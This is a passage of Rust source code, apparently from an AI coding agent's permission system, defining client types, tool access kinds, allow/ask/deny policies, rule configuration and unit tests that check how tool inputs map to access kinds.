/// Grok Pager client - TUI-like terminal pager with interactive permission UI.
|
||||
/// Treated identically to GrokTUI for permission options (gets bash highlights +
|
||||
/// interactive selection). Reports as "pager" for telemetry attribution.
|
||||
///
|
||||
/// Accepts both the hyphenated `"grok-pager"` (what the pager actually
|
||||
/// sends over the wire, matching `PAGER_CLIENT_TYPE`) and the underscored
|
||||
/// `"grok_pager"` form for symmetry with the rest of this enum.
|
||||
#[serde(rename = "grok-pager", alias = "grok_pager")]
|
||||
GrokPager,
|
||||
/// Grok Desktop (Electron) client - identified by clientIdentifier "grok-desktop".
|
||||
/// Uses TUI-style bash permission options (primary command extraction + prefix matching)
|
||||
/// but without interactive `<`/`>` word selection.
|
||||
#[serde(rename = "grok_desktop")]
|
||||
Desktop,
|
||||
}
|
||||
impl ClientType {
|
||||
/// Product token for the `User-Agent` header (e.g. `grok-pager`).
|
||||
pub fn user_agent_label(&self) -> &'static str {
|
||||
match self {
|
||||
Self::Generic => "grok-shell",
|
||||
Self::GrokTUI => "grok-tui",
|
||||
Self::GrokWeb => "grok-web",
|
||||
Self::Nebula => "nebula",
|
||||
Self::Extension => "grok-code-extension",
|
||||
Self::GrokPager => "grok-pager",
|
||||
Self::Desktop => "grok-desktop",
|
||||
}
|
||||
}
|
||||
/// Resolve from ACP `clientIdentifier` string (e.g. `"grok-web"`, `"grok-desktop"`).
|
||||
pub fn from_client_identifier(id: Option<&str>) -> Self {
|
||||
match id {
|
||||
Some("grok-web") => Self::GrokWeb,
|
||||
Some("nebula") => Self::Nebula,
|
||||
Some("grok-code-extension") => Self::Extension,
|
||||
Some("grok-desktop") => Self::Desktop,
|
||||
Some("grok-pager") => Self::GrokPager,
|
||||
_ => Self::Generic,
|
||||
}
|
||||
}
|
||||
/// Label for feedback reporting and experiment filtering.
|
||||
pub fn feedback_label(&self) -> &'static str {
|
||||
match self {
|
||||
Self::GrokTUI | Self::GrokPager => "tui",
|
||||
Self::GrokWeb => "web",
|
||||
Self::Nebula => "nebula",
|
||||
Self::Extension => "extension",
|
||||
Self::Generic => "agent",
|
||||
Self::Desktop => "desktop",
|
||||
}
|
||||
}
|
||||
}
|
||||
#[derive(Clone, Debug)]
|
||||
pub enum AccessKind {
|
||||
Read(Option<String>),
|
||||
Grep {
|
||||
path: Option<String>,
|
||||
glob: Option<String>,
|
||||
},
|
||||
Edit(String),
|
||||
Bash(String),
|
||||
/// An MCP tool call: the tool name plus its raw JSON args. The args are
|
||||
/// carried so the auto-mode classifier (and telemetry) can judge what the
|
||||
/// call actually does, not just its name.
|
||||
MCPTool {
|
||||
name: String,
|
||||
input: serde_json::Value,
|
||||
},
|
||||
WebFetch(String),
|
||||
WebSearch(String),
|
||||
}
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub enum Decision {
|
||||
Allow,
|
||||
/// A policy `ask` rule matched; prompt the user.
|
||||
Ask,
|
||||
FollowupMessage(String),
|
||||
Reject(String),
|
||||
/// A policy deny rule matched. Distinguished from `Reject` (user-initiated)
|
||||
/// so the caller can return the error to the LLM instead of cancelling
|
||||
/// the turn — the agent should see the denial and adapt.
|
||||
PolicyDeny(String),
|
||||
/// The user cancelled the turn (e.g. Cmd+C during permission prompt).
|
||||
/// Distinguished from `Reject` so the caller can return `StopReason::Cancelled`.
|
||||
Cancelled,
|
||||
}
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
|
||||
pub enum EditPolicy {
|
||||
#[default]
|
||||
Ask,
|
||||
Allow,
|
||||
Reject,
|
||||
}
|
||||
impl Serialize for EditPolicy {
|
||||
fn serialize<S: serde::Serializer>(&self, serializer: S) -> Result<S::Ok, S::Error> {
|
||||
serializer.serialize_str(match self {
|
||||
Self::Ask => "ask",
|
||||
Self::Allow => "allow",
|
||||
Self::Reject => "reject",
|
||||
})
|
||||
}
|
||||
}
|
||||
impl<'de> Deserialize<'de> for EditPolicy {
|
||||
fn deserialize<D: serde::Deserializer<'de>>(deserializer: D) -> Result<Self, D::Error> {
|
||||
struct V;
|
||||
impl serde::de::Visitor<'_> for V {
|
||||
type Value = EditPolicy;
|
||||
fn expecting(&self, f: &mut std::fmt::Formatter) -> std::fmt::Result {
|
||||
f.write_str("one of: ask, allow, reject")
|
||||
}
|
||||
fn visit_str<E: serde::de::Error>(self, v: &str) -> Result<EditPolicy, E> {
|
||||
match v {
|
||||
"ask" => Ok(EditPolicy::Ask),
|
||||
"allow" => Ok(EditPolicy::Allow),
|
||||
"reject" => Ok(EditPolicy::Reject),
|
||||
other => Err(E::unknown_variant(other, &["ask", "allow", "reject"])),
|
||||
}
|
||||
}
|
||||
}
|
||||
deserializer.deserialize_str(V)
|
||||
}
|
||||
}
|
||||
#[allow(clippy::large_enum_variant)]
|
||||
pub enum PermissionCommand {
|
||||
Request {
|
||||
access: AccessKind,
|
||||
tool_call_update: acp::ToolCallUpdate,
|
||||
respond_to: oneshot::Sender<Decision>,
|
||||
/// Session ID originating this request. Used to attribute
|
||||
/// permission events to child subagents.
|
||||
session_id: Option<String>,
|
||||
/// Subagent type if this request is from a child (e.g. "explore").
|
||||
subagent_type: Option<String>,
|
||||
/// Subagent description if this request is from a child.
|
||||
subagent_description: Option<String>,
|
||||
},
|
||||
/// Set the YOLO mode (auto-approve all permissions)
|
||||
SetYoloMode(bool),
|
||||
/// Set auto mode (LLM classifier for non-fast-path tools). Mutually
|
||||
/// exclusive with YOLO at the handle level; enabling auto clears yolo
|
||||
/// and vice versa when applied by the actor.
|
||||
SetAutoMode(bool),
|
||||
/// Install or replace the permission classifier used in auto mode.
|
||||
SetClassifier(Option<std::sync::Arc<dyn super::auto_mode::PermissionClassifier>>),
|
||||
/// Recent transcript turns for classifier context (compacted by caller).
|
||||
SetClassifierTranscript(Vec<super::auto_mode::ClassifierTurn>),
|
||||
/// Project AGENTS.md instructions for classifier context (None clears).
|
||||
SetProjectInstructions(Option<String>),
|
||||
/// Reset per-tool permission state back to defaults.
|
||||
ResetState,
|
||||
Shutdown,
|
||||
}
|
||||
impl From<&kigi_tools::types::ToolInput> for AccessKind {
|
||||
fn from(input: &kigi_tools::types::ToolInput) -> Self {
|
||||
use kigi_tools::types::ToolInput;
|
||||
match input {
|
||||
ToolInput::ReadFile(r) => AccessKind::Read(Some(r.path.clone())),
|
||||
ToolInput::ListDir(l) => AccessKind::Read(Some(l.target_directory.clone())),
|
||||
ToolInput::Grep(g) => AccessKind::Grep {
|
||||
path: g.path.clone(),
|
||||
glob: g.glob.clone(),
|
||||
},
|
||||
ToolInput::TodoWrite(_)
|
||||
| ToolInput::TaskOutput(_)
|
||||
| ToolInput::WaitTasks(_)
|
||||
| ToolInput::KillTask(_)
|
||||
| ToolInput::Skill(_) => AccessKind::Read(None),
|
||||
ToolInput::WebSearch(ws) => AccessKind::WebSearch(ws.query.clone()),
|
||||
ToolInput::SearchReplace(search_replace) => {
|
||||
AccessKind::Edit(search_replace.file_path.to_string())
|
||||
}
|
||||
ToolInput::ApplyPatch(_) => AccessKind::Edit("apply_patch".to_string()),
|
||||
ToolInput::HashlineEdit(he) => AccessKind::Edit(he.file_path.to_string()),
|
||||
ToolInput::Write(w) => AccessKind::Edit(w.file_path.clone()),
|
||||
ToolInput::Bash(bash) => AccessKind::Bash(bash.command.to_string()),
|
||||
ToolInput::Monitor(m) => AccessKind::Bash(m.command.clone()),
|
||||
ToolInput::MCPTool(mcp) => AccessKind::MCPTool {
|
||||
name: mcp.tool_name.to_string(),
|
||||
input: mcp.tool_input.clone(),
|
||||
},
|
||||
ToolInput::UseTool(u) => AccessKind::MCPTool {
|
||||
name: u.tool_name.clone(),
|
||||
input: u.tool_input.clone(),
|
||||
},
|
||||
ToolInput::WebFetch(wf) => AccessKind::WebFetch(wf.url.clone()),
|
||||
ToolInput::Dynamic(_) => AccessKind::Read(None),
|
||||
#[allow(unreachable_patterns)]
|
||||
_ => AccessKind::Read(None),
|
||||
}
|
||||
}
|
||||
}
|
||||
/// Permission policy configuration (duplicated from util/config.rs for Phase 1 move independence; identical).
|
||||
#[derive(Debug, Clone, Serialize, Deserialize, Default)]
|
||||
#[serde(default)]
|
||||
pub struct PermissionConfig {
|
||||
pub rules: Vec<PermissionRule>,
|
||||
/// What to do when no rule or pre-decision resolves a tool call.
|
||||
#[serde(default)]
|
||||
pub prompt_policy: PromptPolicy,
|
||||
}
|
||||
impl PermissionConfig {
|
||||
pub fn new(rules: Vec<PermissionRule>) -> Self {
|
||||
Self {
|
||||
rules,
|
||||
prompt_policy: PromptPolicy::Ask,
|
||||
}
|
||||
}
|
||||
}
|
||||
/// What to do when the permission manager would normally prompt the user.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default, Serialize, Deserialize)]
|
||||
#[serde(rename_all = "lowercase")]
|
||||
pub enum PromptPolicy {
|
||||
/// Prompt the user for approval (default).
|
||||
#[default]
|
||||
Ask,
|
||||
/// Deny without prompting (`permissions.defaultMode: "dontAsk"`).
|
||||
Deny,
|
||||
/// Use the auto-mode classifier (`permissions.defaultMode: "auto"`).
|
||||
/// Seeded into the permission manager's auto flag at session start.
|
||||
Auto,
|
||||
}
|
||||
/// A single permission rule.
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
pub struct PermissionRule {
|
||||
pub action: RuleAction,
|
||||
#[serde(default)]
|
||||
pub tool: ToolFilter,
|
||||
pub pattern: Option<String>,
|
||||
#[serde(default)]
|
||||
pub pattern_mode: PatternMode,
|
||||
}
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)]
|
||||
#[serde(rename_all = "lowercase")]
|
||||
pub enum PatternMode {
|
||||
#[default]
|
||||
Glob,
|
||||
Domain,
|
||||
}
|
||||
/// Action to take when rule matches.
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, Default)]
|
||||
#[serde(rename_all = "lowercase")]
|
||||
pub enum RuleAction {
|
||||
Allow,
|
||||
#[default]
|
||||
Deny,
|
||||
Ask,
|
||||
}
|
||||
/// Tool filter for permission rules.
|
||||
#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize, Default)]
|
||||
#[serde(rename_all = "lowercase")]
|
||||
pub enum ToolFilter {
|
||||
#[default]
|
||||
Any,
|
||||
Bash,
|
||||
Edit,
|
||||
Read,
|
||||
Grep,
|
||||
Mcp,
|
||||
WebFetch,
|
||||
WebSearch,
|
||||
}
|
||||
/// Where a requirement/permission was loaded from (duplicated for claude_compat).
|
||||
#[derive(Debug, Clone, PartialEq, Eq)]
|
||||
pub enum RequirementSource {
|
||||
Unknown,
|
||||
/// User-writable `~/.kigi/requirements.toml` — untrusted for keeping a
|
||||
/// catch-all allow under the pin (a restricted user can edit it).
|
||||
Requirements {
|
||||
path: std::path::PathBuf,
|
||||
},
|
||||
/// Root-owned system-dir `requirements.toml`. Distinguished at load time
|
||||
/// (`RequirementsLayer::is_system`), never inferred from `path`.
|
||||
SystemRequirements {
|
||||
path: std::path::PathBuf,
|
||||
},
|
||||
ManagedSettings {
|
||||
path: std::path::PathBuf,
|
||||
},
|
||||
/// Defaults tier; never an admin source.
|
||||
ManagedConfig {
|
||||
path: std::path::PathBuf,
|
||||
},
|
||||
Config {
|
||||
path: std::path::PathBuf,
|
||||
},
|
||||
Settings {
|
||||
path: std::path::PathBuf,
|
||||
},
|
||||
}
|
||||
impl std::fmt::Display for RequirementSource {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
match self {
|
||||
Self::Unknown => f.write_str("<unknown>"),
|
||||
Self::Requirements { path } => write!(f, "{} (requirements)", path.display()),
|
||||
Self::SystemRequirements { path } => {
|
||||
write!(f, "{} (system requirements)", path.display())
|
||||
}
|
||||
Self::ManagedSettings { path } => {
|
||||
write!(f, "{} (managed-settings)", path.display())
|
||||
}
|
||||
Self::ManagedConfig { path } => {
|
||||
write!(f, "{} (managed config)", path.display())
|
||||
}
|
||||
Self::Config { path } => write!(f, "{} (config)", path.display()),
|
||||
Self::Settings { path } => write!(f, "{} (settings)", path.display()),
|
||||
}
|
||||
}
|
||||
}
|
||||
/// A value paired with its source (duplicated).
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct Sourced<T> {
|
||||
pub value: T,
|
||||
pub source: RequirementSource,
|
||||
}
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::*;
|
||||
#[test]
|
||||
fn permission_event_subagent_fields_default_to_none() {
|
||||
let json = r#"{
|
||||
"tool_id": "tc1",
|
||||
"tool_name": "bash",
|
||||
"access_kind": "bash",
|
||||
"yolo_mode": false,
|
||||
"auto_approved": false,
|
||||
"user_prompted": true,
|
||||
"decision": "allow",
|
||||
"timestamp": "2026-03-24T00:00:00Z"
|
||||
}"#;
|
||||
let event: PermissionEvent = serde_json::from_str(json).unwrap();
|
||||
assert!(event.subagent_session_id.is_none());
|
||||
assert!(event.subagent_type.is_none());
|
||||
assert!(event.subagent_description.is_none());
|
||||
assert!(event.permission_mode.is_none());
|
||||
assert!(event.decision_reason.is_none());
|
||||
assert!(event.wait_ms.is_none());
|
||||
assert!(event.queue_depth.is_none());
|
||||
}
|
||||
#[test]
|
||||
fn permission_event_with_subagent_attribution() {
|
||||
let event = PermissionEvent {
|
||||
tool_id: "tc1".into(),
|
||||
tool_name: "bash".into(),
|
||||
access_kind: "bash".into(),
|
||||
access_detail: None,
|
||||
yolo_mode: false,
|
||||
auto_approved: false,
|
||||
user_prompted: true,
|
||||
decision: "allow".into(),
|
||||
prompt_outcome: None,
|
||||
reject_reason: None,
|
||||
timestamp: Utc::now(),
|
||||
subagent_session_id: Some("child-1".into()),
|
||||
subagent_type: Some("explore".into()),
|
||||
subagent_description: Some("Find endpoints".into()),
|
||||
permission_mode: Some("ask".into()),
|
||||
decision_reason: Some("needs_user".into()),
|
||||
wait_ms: Some(1234),
|
||||
queue_depth: Some(3),
|
||||
};
|
||||
let json = serde_json::to_value(&event).unwrap();
|
||||
assert_eq!(json["subagent_session_id"], "child-1");
|
||||
assert_eq!(json["subagent_type"], "explore");
|
||||
assert_eq!(json["subagent_description"], "Find endpoints");
|
||||
assert_eq!(json["permission_mode"], "ask");
|
||||
assert_eq!(json["decision_reason"], "needs_user");
|
||||
assert_eq!(json["wait_ms"], 1234);
|
||||
assert_eq!(json["queue_depth"], 3);
|
||||
}
|
||||
#[test]
|
||||
fn permission_event_skips_none_optional_fields() {
|
||||
let event = PermissionEvent {
|
||||
tool_id: "tc1".into(),
|
||||
tool_name: "bash".into(),
|
||||
access_kind: "bash".into(),
|
||||
access_detail: None,
|
||||
yolo_mode: false,
|
||||
auto_approved: true,
|
||||
user_prompted: false,
|
||||
decision: "allow".into(),
|
||||
prompt_outcome: None,
|
||||
reject_reason: None,
|
||||
timestamp: Utc::now(),
|
||||
subagent_session_id: None,
|
||||
subagent_type: None,
|
||||
subagent_description: None,
|
||||
permission_mode: None,
|
||||
decision_reason: None,
|
||||
wait_ms: None,
|
||||
queue_depth: None,
|
||||
};
|
||||
let json = serde_json::to_string(&event).unwrap();
|
||||
assert!(!json.contains("subagent_session_id"));
|
||||
assert!(!json.contains("subagent_type"));
|
||||
assert!(!json.contains("permission_mode"));
|
||||
assert!(!json.contains("decision_reason"));
|
||||
assert!(!json.contains("wait_ms"));
|
||||
assert!(!json.contains("queue_depth"));
|
||||
}
|
||||
#[test]
|
||||
fn hashline_edit_maps_to_edit_access() {
|
||||
use kigi_tools::implementations::grok_build_hashline::edit::types::HashlineEditInput;
|
||||
use kigi_tools::types::ToolInput;
|
||||
let input = ToolInput::HashlineEdit(HashlineEditInput {
|
||||
file_path: "src/main.rs".into(),
|
||||
edits: vec![],
|
||||
});
|
||||
let access = AccessKind::from(&input);
|
||||
assert!(
|
||||
matches!(access, AccessKind::Edit(ref p) if p == "src/main.rs"),
|
||||
"HashlineEdit should produce AccessKind::Edit with the file path, got {access:?}"
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn bash_maps_to_bash_access() {
|
||||
use kigi_tools::implementations::grok_build::bash::BashToolInput;
|
||||
use kigi_tools::types::ToolInput;
|
||||
let input = ToolInput::Bash(BashToolInput {
|
||||
command: "cargo test".into(),
|
||||
timeout: None,
|
||||
description: "run tests".into(),
|
||||
is_background: false,
|
||||
});
|
||||
let access = AccessKind::from(&input);
|
||||
assert!(
|
||||
matches!(access, AccessKind::Bash(ref cmd) if cmd == "cargo test"),
|
||||
"Bash should produce AccessKind::Bash with the command, got {access:?}"
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn use_tool_maps_to_mcp_tool_access() {
|
||||
use kigi_tools::implementations::use_tool::UseToolInput;
|
||||
use kigi_tools::types::ToolInput;
|
||||
let input = ToolInput::UseTool(UseToolInput {
|
||||
tool_name: "linear__save_issue".into(),
|
||||
tool_input: serde_json::json!({ "title" : "test" }),
|
||||
});
|
||||
let access = AccessKind::from(&input);
|
||||
assert!(
|
||||
matches!(access, AccessKind::MCPTool { ref name, ref input } if name ==
|
||||
"linear__save_issue" && input["title"] == "test"),
|
||||
"UseTool should produce AccessKind::MCPTool carrying the inner tool name and args, got {access:?}"
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn monitor_maps_to_bash_access() {
|
||||
use kigi_tools::implementations::grok_build::monitor::types::MonitorInput;
|
||||
use kigi_tools::types::ToolInput;
|
||||
let input = ToolInput::Monitor(MonitorInput {
|
||||
command: "tail -f /var/log/syslog".into(),
|
||||
description: "watch syslog".into(),
|
||||
timeout_ms: None,
|
||||
persistent: None,
|
||||
});
|
||||
let access = AccessKind::from(&input);
|
||||
assert!(
|
||||
matches!(access, AccessKind::Bash(ref cmd) if cmd ==
|
||||
"tail -f /var/log/syslog"),
|
||||
"Monitor runs shell and must map to AccessKind::Bash (not Read), got {access:?}"
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn search_replace_maps_to_edit_access() {
|
||||
use kigi_tools::implementations::grok_build::search_replace::SearchReplaceInput;
|
||||
use kigi_tools::types::ToolInput;
|
||||
let input = ToolInput::SearchReplace(SearchReplaceInput {
|
||||
file_path: "lib.rs".into(),
|
||||
old_string: "old".into(),
|
||||
new_string: "new".into(),
|
||||
replace_all: false,
|
||||
});
|
||||
let access = AccessKind::from(&input);
|
||||
assert!(
|
||||
matches!(access, AccessKind::Edit(ref p) if p == "lib.rs"),
|
||||
"SearchReplace should produce AccessKind::Edit, got {access:?}"
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn web_fetch_maps_to_web_fetch_access() {
|
||||
use kigi_tools::implementations::grok_build::web_fetch::WebFetchInput;
|
||||
use kigi_tools::types::ToolInput;
|
||||
let input = ToolInput::WebFetch(WebFetchInput {
|
||||
url: "https://custom.example.com/api".into(),
|
||||
});
|
||||
let access = AccessKind::from(&input);
|
||||
assert!(
|
||||
matches!(access, AccessKind::WebFetch(ref u) if u ==
|
||||
"https://custom.example.com/api"),
|
||||
"WebFetch should produce AccessKind::WebFetch with the URL, got {access:?}"
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn web_search_maps_to_web_search_access() {
|
||||
use kigi_tools::implementations::grok_build::web_search::WebSearchInput;
|
||||
use kigi_tools::types::ToolInput;
|
||||
let input = ToolInput::WebSearch(WebSearchInput {
|
||||
query: "rust lang".into(),
|
||||
allowed_domains: None,
|
||||
});
|
||||
let access = AccessKind::from(&input);
|
||||
assert!(
|
||||
matches!(access, AccessKind::WebSearch(ref q) if q == "rust lang"),
|
||||
"WebSearch should produce AccessKind::WebSearch with the query, got {access:?}"
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn apply_patch_maps_to_edit_access() {
|
||||
use kigi_tools::implementations::codex::apply_patch::ApplyPatchInput;
|
||||
use kigi_tools::types::ToolInput;
|
||||
let input = ToolInput::ApplyPatch(ApplyPatchInput {
|
||||
patch: String::new(),
|
||||
});
|
||||
let access = AccessKind::from(&input);
|
||||
assert!(
|
||||
matches!(access, AccessKind::Edit(_)),
|
||||
"ApplyPatch should produce AccessKind::Edit, got {access:?}"
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn write_tool_maps_to_edit_access() {
|
||||
use kigi_tools::implementations::opencode::write::WriteInput;
|
||||
use kigi_tools::types::ToolInput;
|
||||
let input = ToolInput::Write(WriteInput {
|
||||
file_path: "/tmp/secret.txt".into(),
|
||||
content: "overwritten".into(),
|
||||
});
|
||||
let access = AccessKind::from(&input);
|
||||
assert!(
|
||||
matches!(access, AccessKind::Edit(ref p) if p == "/tmp/secret.txt"),
|
||||
"Write should produce AccessKind::Edit with the file path, got {access:?}"
|
||||
);
|
||||
}
|
||||
#[test]
|
||||
fn client_type_deserializes_grok_shell_as_generic() {
|
||||
assert_eq!(
|
||||
serde_json::from_value::<ClientType>("grok-shell".into()).unwrap(),
|
||||
ClientType::Generic,
|
||||
);
|
||||
assert_eq!(
|
||||
serde_json::from_value::<ClientType>("grok_shell".into()).unwrap(),
|
||||
ClientType::Generic,
|
||||
);
|
||||
assert_eq!(
|
||||
serde_json::from_value::<ClientType>("generic".into()).unwrap(),
|
||||
ClientType::Generic,
|
||||
);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user